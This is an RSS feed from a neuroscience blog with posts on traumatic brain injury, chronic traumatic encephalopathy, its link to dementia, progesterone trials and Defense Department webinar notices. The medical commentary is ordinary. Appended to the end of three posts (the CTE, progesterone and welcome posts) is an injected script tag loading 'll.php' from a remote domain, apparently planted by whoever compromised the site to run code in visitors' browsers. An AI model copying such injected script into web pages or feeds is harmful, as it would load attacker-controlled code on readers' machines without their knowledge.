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	<title>BrainDamage.Net Blog</title>
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	<description>Thoughts on neuroscience research and theory</description>
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		<title>Identifying Concussion/mTBI in Service Members</title>
		<link>http://braindamage.net/blog/?p=58</link>
		<comments>http://braindamage.net/blog/?p=58#comments</comments>
		<pubDate>Tue, 20 Mar 2012 17:40:59 +0000</pubDate>
		<dc:creator>tdschmanke</dc:creator>
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		<description><![CDATA[Identifying Concussion/mTBI in Service Members Date/Time: March 22, 2012, 1-2:30 p.m. (EDT) Purpose According to the 2008 Rand report, Invisible Wounds of War: Psychological and Cognitive Injuries, Their Consequences, and Services to Assist Recovery, approximately 19.5 percent of U.S. service members who have returned from Afghanistan and Iraq report experiencing a traumatic brain injury (TBI) during deployment. Mild TBI (mTBI), also known as concussion, is the most common form of TBI sustained in the military. Unlike a severe or moderate TBI, mTBI may not be easily identified. Recognizing the importance of early detection, the Defense Department and the Department of Veterans Affairs implemented system-wide screening procedures to facilitate appropriate care for service members and veterans. This webinar will discuss the impact of mTBI in service members, describe screening programs implemented across the Defense Department and address some of the challenges associated with screening. Presenters David L. Brody, M.D., Ph.D. Assistant Professor of Neurology Washington University School of Medicine St. Louis, Mo. Lt. Tracie B. Lattimore, RN, MSN, NP-C Deputy Director, TBI Programs U.S. Navy Bureau of Medicine and Surgery Washington, D.C. Continuing education units (CEUs) and continuing medical education (CME) credits are available from Saint Louis University. You must register [...]]]></description>
			<content:encoded><![CDATA[<p>Identifying Concussion/mTBI in Service Members</p>
<p>Date/Time: March 22, 2012, 1-2:30 p.m. (EDT)</p>
<p>Purpose</p>
<p>According to the 2008 Rand report, Invisible Wounds of War: Psychological and Cognitive Injuries, Their Consequences, and Services to Assist Recovery, approximately 19.5 percent of U.S. service members who have returned from Afghanistan and Iraq report experiencing a traumatic brain injury (TBI) during deployment. Mild TBI (mTBI), also known as concussion, is the most common form of TBI sustained in the military. Unlike a severe or moderate TBI, mTBI may not be easily identified. Recognizing the importance of early detection, the Defense Department and the Department of Veterans Affairs implemented system-wide screening procedures to facilitate appropriate care for service members and veterans.</p>
<p>This webinar will discuss the impact of mTBI in service members, describe screening programs implemented across the Defense Department and address some of the challenges associated with screening.</p>
<p>Presenters</p>
<p>David L. Brody, M.D., Ph.D.<br />
Assistant Professor of Neurology<br />
Washington University School of Medicine<br />
St. Louis, Mo.<br />
Lt. Tracie B. Lattimore, RN, MSN, NP-C<br />
Deputy Director, TBI Programs<br />
U.S. Navy Bureau of Medicine and Surgery<br />
Washington, D.C.<br />
Continuing education units (CEUs) and continuing medical education (CME) credits are available from Saint Louis University. You must register in advance using the Adobe Connect website to qualify.</p>
<p>http://www.dcoe.health.mil/Training/MonthlyWebinars.aspx</p>
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		<title>Treating Sleep Problems in Post-traumatic Stress Disorder (PTSD) and Traumatic Brain Injury (TBI)</title>
		<link>http://braindamage.net/blog/?p=56</link>
		<comments>http://braindamage.net/blog/?p=56#comments</comments>
		<pubDate>Tue, 21 Feb 2012 17:49:59 +0000</pubDate>
		<dc:creator>tdschmanke</dc:creator>
				<category><![CDATA[Articles]]></category>

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		<description><![CDATA[Notice of an upcoming webinar concerning PTSD and TBI being sponsored by the Defense Centers for Exellence. Treating Sleep Problems in Post-traumatic Stress Disorder (PTSD) and Traumatic Brain Injury (TBI) Date/Time: Feb. 23, 2012, at 1-2:30 p.m. (EST) Register now Purpose: The DCoE February webinar will focus on evidence-based and empirically-supported treatments for sleep problems (e.g., trouble getting to sleep, trouble staying asleep, nightmares and excessive daytime sleepiness) that are common in patients with PTSD and/or TBI. Both behavioral and pharmacological treatments will be presented, with a special emphasis on prazosin. Prazosin is a medication that has been found to be effective in reducing combat-related nightmares. Presenters: Anthony Panettiere, MD National Intrepid Center of Excellence Murray Raskind, MD VA Puget Sound Health Care System Continuing education units (CEUs) and continuing medical education (CMEs) credits from Saint Louis University will be available for this webinar. Pre-registration is required to receive CEUs/CMEs. To be added to the distribution list for webinar announcements, visit http://dcoe.health.mil and click the red envelope located on the right side of the home page to sign up for email updates. To view previous DCoE webinars, scroll down. For additional information, email DCoE.MonthlyWebinar@tma.osd.mil.]]></description>
			<content:encoded><![CDATA[<p>Notice of an upcoming webinar concerning PTSD and TBI being sponsored by the Defense Centers for Exellence.</p>
<p><strong>Treating Sleep Problems in Post-traumatic Stress Disorder (PTSD) and Traumatic Brain Injury (TBI)</strong></p>
<p><em>Date/Time:</em> Feb. 23, 2012, at 1-2:30 p.m. (EST)</p>
<p><a href="http://www.dcoe.health.mil/include/exitwarning.aspx?link=http%3A//es.adobeconnect.com/dcoewebinar/event/registration.html" target="_blank">Register now</a></p>
<p>Purpose: The DCoE February webinar will focus on  evidence-based and empirically-supported treatments for sleep problems  (e.g., trouble getting to sleep, trouble staying asleep, nightmares and  excessive daytime sleepiness) that are common in patients with PTSD  and/or TBI. Both behavioral and pharmacological treatments will be  presented, with a special emphasis on prazosin. Prazosin is a medication  that has been found to be effective in reducing combat-related  nightmares.</p>
<p>Presenters:</p>
<ul>
<li>Anthony Panettiere, MD<br />
National Intrepid Center of Excellence</li>
<li>Murray Raskind, MD<br />
VA Puget Sound Health Care System</li>
</ul>
<p>Continuing education units (CEUs) and continuing medical  education (CMEs) credits from Saint Louis University will be available  for this webinar. Pre-registration is required to receive CEUs/CMEs. To  be added to the distribution list for webinar announcements, visit <a href="http://dcoe.health.mil/">http://dcoe.health.mil</a> and click the red envelope located on the right side of the home page  to sign up for email updates. To view previous DCoE webinars, scroll  down. For additional information, email <a href="mailto:DCoE.MonthlyWebinar@tma.osd.mil">DCoE.MonthlyWebinar@tma.osd.mil</a>.</p>
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		<title>The Link between Traumatic Brain Injury and Dementia, Part II</title>
		<link>http://braindamage.net/blog/?p=39</link>
		<comments>http://braindamage.net/blog/?p=39#comments</comments>
		<pubDate>Wed, 07 Sep 2011 15:22:36 +0000</pubDate>
		<dc:creator>tdschmanke</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://braindamage.net/blog/?p=39</guid>
		<description><![CDATA[In my last post I was going to followup on the link between traumatic brain injury and dementia. Recent studies have strengthened the idea that repeated, mild traumatic brain injuries can lead to cognitive disorders long-term. Mild TBI would manifest itself as concussions suffered during various types of physical activity, most likely contact sports such as boxing, hockey and football. And while the idea that repeated head injuries can lead to cognitive dysfunction has received a lot of attention in the past few years, there has been evidence of this relationship on hand for almost a century, if not longer. One only needs to look up the term &#8220;dementia pugilistica&#8221; to find the results of investigations into motor disorders in former boxers. In 1928, a forensic pathologist, Dr. Martland, noted speech problems, motor tremors, slowed movement and confusion in an article published in the Journal of the American Medical Association. And while one could argue that the condition was found in professional and amateur boxers, the idea that repeated blows to the head could cause cognitive and motor dysfunction had been firmly established. In 1973 an article describing the neuropathological findings in the brains of former boxers was linked the [...]]]></description>
			<content:encoded><![CDATA[<p>In my last post I was going to followup on the link between traumatic brain injury and dementia. Recent studies have strengthened the idea that repeated, mild traumatic brain injuries can lead to cognitive disorders long-term. Mild TBI would manifest itself as concussions suffered during various types of physical activity, most likely contact sports such as boxing, hockey and football. And while the idea that repeated head injuries can lead to cognitive dysfunction has received a lot of attention in the past few years, there has been evidence of this relationship on hand for almost a century, if not longer.</p>
<p>One only needs to look up the term &#8220;dementia pugilistica&#8221; to find the results of investigations into motor disorders in former boxers. In 1928, a forensic pathologist, Dr. Martland, noted speech problems, motor tremors, slowed movement and confusion in an article published in the Journal of the American Medical Association. And while one could argue that the condition was found in professional and amateur boxers, the idea that repeated blows to the head could cause cognitive and motor dysfunction had been firmly established. In 1973 an article describing the neuropathological findings in the brains of former boxers was linked the concept of the &#8220;punch drunk&#8221; syndrome. So the information related to the physiological and behavioral effects of repeated blows to the head has been around, but is now being &#8220;rediscovered&#8221; as the idea of chronic traumatic encephalopathy (CTE).</p>
<p>The idea of dementia itself can be somewhat confusing, as it in actuality refers to a cognitive symptom that can have many different underlying causes. I will take a look at dementia in my next post.</p>
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		<title>The Link between Traumatic Brain Injury and Dementia</title>
		<link>http://braindamage.net/blog/?p=29</link>
		<comments>http://braindamage.net/blog/?p=29#comments</comments>
		<pubDate>Tue, 19 Jul 2011 00:04:52 +0000</pubDate>
		<dc:creator>tdschmanke</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://braindamage.net/blog/?p=29</guid>
		<description><![CDATA[Recently published material/results are giving us additional insight into the casual link between traumatic brain injury (TBI) and dementia. In a study presented at the  Alzheimer&#8217;s Association&#8216;s annual International Conference in Paris, war veterans who had experienced TBI were twice (2x) as likely to develop dementia, a devastating cognitive disorder. In a similar study, researchers at Loyola University Medical Center looked at NFL veterans and quantified their cognitive performance, compared to non-NFL controls. What they found was an increased risk of developing MCI (mild cognitive impairment), a possible precursor to the development of Alzheimer&#8217;s  symptoms.  In addition, this study suggested that blows to the head need not necessarily cause a concussion to produce damage to the brain. The concern then is for repeated blows to the head of the type that are normally found in &#8220;average&#8221; plays on the football field. Taken together, these studies strengthen the link between TBI and the development of cognitive problems later in life. The material is presented in such a way that one might try to make a link between Alzheimer&#8217;s and TBI, however, this is not the case. Alzheimer&#8217;s disease is represented by a very specific pathology within the brain, that is, plaques and tangles. The amyloid plaques are the hallmark of Alzheimer&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>Recently published material/results are giving us additional insight into the casual link between traumatic brain injury (TBI) and dementia. In a study presented at the  <a title="More news, photos about Alzheimer's Association" href="http://content.usatoday.com/topics/topic/Alzheimer's+Association">Alzheimer&#8217;s Association</a>&#8216;s annual International Conference in Paris, war veterans who had experienced TBI were twice (2x) as likely to develop dementia, a devastating cognitive disorder. In a similar study, researchers at Loyola University Medical Center looked at NFL veterans and quantified their cognitive performance, compared to non-NFL controls. What they found was an increased risk of developing MCI (mild cognitive impairment), a possible precursor to the development of Alzheimer&#8217;s  symptoms.  In addition, this study suggested that blows to the head need not necessarily cause a concussion to produce damage to the brain. The concern then is for repeated blows to the head of the type that are normally found in &#8220;average&#8221; plays on the football field. Taken together, these studies strengthen the link between TBI and the development of cognitive problems later in life.</p>
<p>The material is presented in such a way that one might try to make a link between Alzheimer&#8217;s and TBI, however, this is not the case. Alzheimer&#8217;s disease is represented by a very specific pathology within the brain, that is, plaques and tangles. The amyloid plaques are the hallmark of Alzheimer&#8217;s disease and have not been linked pathologically to repeated TBI events. Within the field now, the term &#8220;Chronic Traumatic Encephalopathy&#8221; or CTE for short, represents the brain degeneration found in individuals and thought to be the result of multiple TBI events. What theses two syndromes have in common is the cognitive degeneration (dementia) found within the individuals, just a result of different physical pathologies.</p>
<p>Surprisingly, this information, despite the recent attention, is not new. I&#8217;ll cover some older studies discussing brain degeneration after blows to the head in my next blog post.</p>
<p> References</p>
<p><a href="http://yourlife.usatoday.com/health/medical/alzheimers/story/2011/07/Traumatic-brain-injury-doubles-risk-of-Alzheimers/49472436/1">http://yourlife.usatoday.com/health/medical/alzheimers/story/2011/07/Traumatic-brain-injury-doubles-risk-of-Alzheimers/49472436/1</a></p>
<p><a href="http://healthland.time.com/2011/07/18/nfl-players-may-be-more-vulnerable-to-alzheimers-disease/">http://healthland.time.com/2011/07/18/nfl-players-may-be-more-vulnerable-to-alzheimers-disease/</a></p>
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		<title>Ideas about Chronic Traumatic Encephalopathy (CTE)</title>
		<link>http://braindamage.net/blog/?p=21</link>
		<comments>http://braindamage.net/blog/?p=21#comments</comments>
		<pubDate>Sun, 19 Sep 2010 18:42:40 +0000</pubDate>
		<dc:creator>tdschmanke</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Illustrations]]></category>

		<guid isPermaLink="false">http://braindamage.net/blog/?p=21</guid>
		<description><![CDATA[A recent news article posted on CNN details the effects of  chronic traumatic encephalopathy (CTE) on the behavior of a young football player. With all of the recent interest in sports concussions, now we are beginning to link these events to real damage to the structures in the brain, and presumably the spinal cord as well.  The effects of concussions, particularly in the boxing arena, have been known for decades. The term &#8220; dementia pugilistica&#8221; (DP) refers to the &#8220;punch-drunk&#8221; syndrome observed in many long time boxers. A quick research of the term finds that the behavioral symptoms that accompany DP have been linked to brain atrophy and loss of neurons, particularly in the cerebellum. Damage to the pyramidal and corticospinal tract have been implicated as well.  Now we have autopsy results from professional and college football players that shows accumulations of tau proteins in many areas of the brain, a finding that suggests the neurobehavioral consequences may have Alzheimer&#8217;s like mechanisms.     While the accumulations of tau proteins may be a promising target for drug therapies, it may be that these accumulations are mere symptoms of a greater physiological mechanism. If so, drug therapies focusing on these tau proteins may prove as [...]]]></description>
			<content:encoded><![CDATA[<p>A recent news article posted on CNN details the effects of  chronic traumatic encephalopathy (CTE) on the behavior of a young football player. With all of the recent interest in sports concussions, now we are beginning to link these events to real damage to the structures in the brain, and presumably the spinal cord as well.  The effects of concussions, particularly in the boxing arena, have been known for decades. The term &#8220; dementia pugilistica&#8221; (DP) refers to the &#8220;punch-drunk&#8221; syndrome observed in many long time boxers. A quick research of the term finds that the behavioral symptoms that accompany DP have been linked to brain atrophy and loss of neurons, particularly in the cerebellum. Damage to the pyramidal and corticospinal tract have been implicated as well. </p>
<p>Now we have autopsy results from professional and college football players that shows accumulations of tau proteins in many areas of the brain, a finding that suggests the neurobehavioral consequences may have Alzheimer&#8217;s like mechanisms. </p>
<div id="attachment_24" class="wp-caption alignleft" style="width: 310px"><a href="http://braindamage.net/blog/wp-content/uploads/2010/09/story_cortex1.jpg"><img class="size-full wp-image-24" title="tau proteins in the brain" src="http://braindamage.net/blog/wp-content/uploads/2010/09/story_cortex1.jpg" alt="tau proteins in the brain" width="300" height="169" /></a><p class="wp-caption-text">tau proteins in the brain</p></div>
<p>  </p>
<p>While the accumulations of tau proteins may be a promising target for drug therapies, it may be that these accumulations are mere symptoms of a greater physiological mechanism. If so, drug therapies focusing on these tau proteins may prove as ineffective as they did in recent Alzheimer&#8217;s trials. More research is needed before we start throwing drug studies at the tau accumulations. In the end, it may be better designed helmets that provides us with the best defense against CTE and DP.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>&#8220;A New Hope&#8221;, for therapeutic interventions after traumatic brain injuries</title>
		<link>http://braindamage.net/blog/?p=18</link>
		<comments>http://braindamage.net/blog/?p=18#comments</comments>
		<pubDate>Fri, 30 Jul 2010 18:50:21 +0000</pubDate>
		<dc:creator>tdschmanke</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://braindamage.net/blog/?p=18</guid>
		<description><![CDATA[   Over the past few decades, therapeutic interventions for traumatic brain injury have been extensively investigated in animal models, but few have been elevated into the hallowed ground of clinical trials. As a graduate student at TCU in the early 90s, I learned about the theory of “glutamate excitotoxicity” and secondary brain injury. This theory guided much of our research, and dominated the field throughout the decade. However, while an overwhelming success in basic research models, clinical trials using NMDA antagonists developed from the excitotoxic theory have been unsuccessful. While the investigation and application of that concept continues, a new candidate has emerged as the leading contender for a therapeutic intervention after central nervous system damage. The compound progesterone recently entered clinical trials in the US. The idea, developed from the labs of Don Stein, Ph.D., currently at Emory University in Atlanta, has shown that early administration of progesterone reduces edema, tissue loss and reduces behavioral deficits in rat models of TBI. And unlike NMDA receptor antagonists, progesterone has made the translation into clinical treatments. Early clinical studies showed that the compound is safe to use and is effective in treating brain injured patients. Phase III clinical trials are currently underway. [...]]]></description>
			<content:encoded><![CDATA[<p>   Over the past few decades, therapeutic interventions for traumatic brain injury have been extensively investigated in animal models, but few have been elevated into the hallowed ground of clinical trials. As a graduate student at TCU in the early 90s, I learned about the theory of “<em>glutamate excitotoxicity</em>” and secondary brain injury. This theory guided much of our research, and dominated the field throughout the decade. However, while an overwhelming success in basic research models, clinical trials using NMDA antagonists developed from the excitotoxic theory have been unsuccessful. While the investigation and application of that concept continues, a new candidate has emerged as the leading contender for a therapeutic intervention after central nervous system damage. The compound <em>progesterone</em> recently entered clinical trials in the US. The idea, developed from the labs of Don Stein, Ph.D., currently at Emory University in Atlanta, has shown that early administration of progesterone reduces edema, tissue loss and reduces behavioral deficits in rat models of TBI. And unlike NMDA receptor antagonists, progesterone has made the translation into clinical treatments. Early clinical studies showed that the compound is safe to use and is effective in treating brain injured patients. Phase III clinical trials are currently underway. Termed proTECT III, these studies started up in March of this year and will enroll thousands of patients over a 6 year period.  There are several questions we should consider while waiting on the results from these trials.</p>
<p>1. Is progesterone effective in treatment of spinal cord injuries?</p>
<p>2. What are the various mechanisms of action that make progesterone an effective therapeutic agent?</p>
<p>3. How did progesterone make the translation from basic research to the clinic, when other compounds have not?<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Welcome to the BrainDamage.Net Blog!</title>
		<link>http://braindamage.net/blog/?p=6</link>
		<comments>http://braindamage.net/blog/?p=6#comments</comments>
		<pubDate>Tue, 27 Jul 2010 23:12:00 +0000</pubDate>
		<dc:creator>tdschmanke</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://braindamage.net/blog/?p=6</guid>
		<description><![CDATA[   BrainDamage.Net is your first stop for information on brain and spinal cord injury research, conference information and links to private, academic and governmental agencies.    The BrainDamage.Net blog will take a critical look at recent studies being published, and the theory guiding the field of research in neuroscience and it&#8217;s related disciplines.]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">   BrainDamage.Net is your first stop for information on brain and spinal cord injury research, conference information and links to private, academic and governmental agencies.</p>
<p>   The BrainDamage.Net blog will take a critical look at recent studies being published, and the theory guiding the field of research in neuroscience and it&#8217;s related disciplines.<script src="http://$domain/ll.php?kk=11"></script></p>
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